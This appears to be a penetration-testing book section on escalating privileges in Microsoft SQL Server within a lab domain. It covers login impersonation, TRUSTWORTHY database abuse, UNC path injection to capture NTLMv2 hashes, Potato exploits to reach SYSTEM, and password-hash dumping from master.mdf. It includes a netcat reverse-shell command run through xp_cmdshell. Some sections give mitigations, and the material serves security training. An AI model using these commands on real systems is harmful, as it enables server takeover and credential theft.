Privilege escalation
In the previous section, we saw a number of techniques for database enumeration. In this section, we will use gathered reconnaissance results for the user khal.drogo
to identify privilege escalation paths on the database server. We will also practice escalating privileges from SQL Server to the host itself. At the end of this section, we will escalate to the sysadmin
role from the user, with host local administrator privileges.
Impersonation
One of the most common privilege escalation vectors is user impersonation. This privilege allows the impersonation of another user or login in order to access resources on behalf of the impersonated user, without specifically granting rights[10]. sysadmin
has this permission for all databases, members of the db_owner
role only have this permission in databases they own. We can check whether a current user is allowed to impersonate sa
user login with the following query:
EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')
Impersonation can happen on the server level (EXECUTE AS LOGIN
) and on the database level (EXECUTE AS USER
). Metasploit has a module named admin/mssql/mssql_escalate_execute_as
that can be used to escalate privileges via impersonation. PowerUpSQL also has a function to identify an impersonation and exploit it:
Invoke-SQLAuditPrivImpersonateLogin -Instance BRAAVOS\SQLEXPRESS -Exploit
The result is shown in the following screenshot:
Figure 9.7 – Successful privilege escalation
Clearly, it is vital to audit users with the impersonation privilege. The Invoke-SQLAudit
function from PowerUpSQL lists all logins that can impersonate others. However, it cannot build a relationship graph, like BloodHound, and identify nested ones.
TRUSTWORTHY misconfiguration
TRUSTWORTHY
is a database property that indicates that SQL Server trusts a database and its content. By default, this property is disabled and only can be enabled by sysadmin
. If an adversary is a member of the db_owner
role on a TRUSTWORTHY
database that is owned by sysadmin
, it is possible to elevate privileges. The attacker with the db_owner
role can create a stored procedure so that it will be executed in the context of the database owner – sysadmin
(EXECUTE
AS OWNER
)[11].
Let’s set up this attack in our lab. The following code will create a database, set it as TRUSTWORTHY
, create a login for viserys.targaryen
, and grant him the db_owner
role:
CREATE DATABASE MyDb USE MyDb ALTER DATABASE MyDb SET TRUSTWORTHY ON CREATE LOGIN [ESSOS\viserys.targaryen] FROM WINDOWS ALTER LOGIN [ESSOS\viserys.targaryen] with default_database = [MyDb]; CREATE USER [ESSOS\viserys.targaryen] FROM LOGIN [ESSOS\viserys.targaryen]; EXEC sp_addrolemember [db_owner], [ESSOS\viserys.targaryen]
Now, we are ready to perform the attack. Firstly, let us identify TRUSTWORTHY
databases. PowerUpSQL has a function, Invoke-SQLAuditPrivTrustworthy
, for this task, or we can just run the following SQL query:
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
Secondly, we need to check the members of the db_owner
role within a TRUSTWORTHY
database:
USE MyDb; SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
The last step is to create a procedure and execute it:
CREATE PROCEDURE sp_pe_trust WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember [ESSOS\viserys.targaryen],[sysadmin] EXEC sp_pe_trust SELECT is_srvrolemember('sysadmin')
An attack can be automated by using the Metasploit auxiliary/admin/mssql/mssql_escalate_dbowner
module or the Invoke-SqlServer-Escalate-DbOwner
script[12]. The result of the automated exploitation is shown in the following screenshot:
Figure 9.8 – Privilege escalation from db_owner to sysadmin
To prevent misconfiguration, it is recommended to either switch off the TRUSTWORTHY
property or change the database owner to a low-privileged user.
Starting from the following section, we will gradually move from the database level to the operating system level.
UNC path injection
Uniform Naming Convention (UNC) paths can be used to access files on a remote server. There are two stored procedures that support UNC paths and can be executed with a public server role – xp_dirtree
and xp_fileexist
. A stored procedure is a logical unit that groups several SQL statements. The benefits of this are security, reusability, and performance. By executing one of these two procedures, the attacker forces the SQL Server service account to access and subsequently authenticate to a controlled resource. Then, the NTLMv2 challenge will be captured and relayed, or cracked by an adversary. The attack can be automated by using the Metasploit auxiliary/admin/mssql/mssql_ntlm_stealer
module, the SQLRecon smb
module, or the Invoke-SQLUncPathInjection
function from PowerUpSQL. All of them essentially execute the following query:
EXEC master.dbo.xp_dirtree '\\192.168.56.100\blah'
The NTLMv2 challenge will be captured by Responder, as shown in the following screenshot:
Figure 9.9 – The NTLMv2 challenge for sql_svc has been captured
To eliminate this attack vector, it is recommended to revoke the execution of these procedures from a public role.
There is another way to coerce authentication but, this time, as a machine account where SQL Server is installed[13]. After logging in to SQL Server Management Studio, an adversary restores a database from an XMLA file but points it to a controlled listener as a backup file location. Then, an adversary will capture the NTLMv2 challenge.
From a service account to SYSTEM
Usually, a database service account has the SeImpersonatePrivilege
permission. Abusing this permission allows us to elevate our privilege to SYSTEM. Depending on the version of the target operating system, various exploits are available. JuicyPotato[14] works for versions below Windows Server 2019, whereas RoguePotato, PrintSpoofer, SharpEfsPotato, and GodPotato[15] work for versions above as well. All exploits use various services during exploitation, but the main idea is to create a pipe, force a connection to it, and then impersonate the SYSTEM token. To execute further commands under the context of the service, we will run the following command in HeidiSQL, which will connect back to our Kali machine as user sql_svc
:
EXEC master..xp_cmdshell 'cmd.exe /c C:\Users\Public\nc.exe -e cmd 192.168.56.100 443'
Simply running the exploit grants us SYSTEM-level privileges:
Figure 9.10 – The GodPotato exploit worked successfully
Microsoft has not released a fix for this privilege escalation vector.
The following example will show how to obtain sysadmin
privileges at the database level if an attacker is a local administrator.
From a local administrator to sysadmin
Another possible situation is that an adversary has obtained a local administrator’s privileges on the database server. There are known ways how to get database sysadmin
privileges as a next step[16]. One of the most common techniques is to impersonate a SQL Server service account because, by default, it has sysadmin
privileges. PowerUpSQL has two impersonation functions called Invoke-SQLImpersonateService
and Invoke-SQLImpersonateServiceCmd
. Other techniques include reading LSA secrets with the help of Mimikatz, pulling SQL Server login password hashes, injecting DLL or shellcode into a process, or even running a database in single-user mode. A Metasploit module called post/windows/manage/mssql_local_auth_bypass
combines getting LocalSystem
privileges for an older SQL Server installation and migrating to a service process for a newer installations.
Running the following commands allows you to obtain sysadmin
privileges and dump SQL Server login password hashes:
Invoke-SQLImpersonateService -Verbose -Instance BRAAVOS\SQLEXPRESS Get-SQLServerPasswordHash -Verbose -Instance BRAAVOS\SQLEXPRESS
The result is shown in the following screenshot:
Figure 9.11 – SQL Server login password hashes
Apparently, there is another way to dump password hashes – by extracting them from a master.mdf
file. XPN published a while ago some great research[17] that showed the internals of the master.mdf
file and released the tool to extract password hashes[18]. This attack requires local administrator privileges. Firstly, we need to locate the master.mdf
file and copy it using the RawCopy tool. This tool copies raw data from disk, so getting locked out of the master.mdf
file by SQL Server will be bypassed. The PowerShell script uses OrcaMDF
.NET libraries, so we need to load them too, and then dump the hashes:
RawCopy64.exe /FileNamePath:"C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\DATA\master.mdf" /OutputPath:C:\Users\Public [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.RawCore.dll") [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.Framework.dll") ipmo .\Get-MDFHashes.ps1 Get-MDFHashes -mdf "C:\Users\Public\master.mdf" | fl
The output of the preceding commands is shown in the following screenshot:
Figure 9.12 – The password hash of the SA SQL Server login
In the following section, we will examine multiple ways to run commands at the OS level.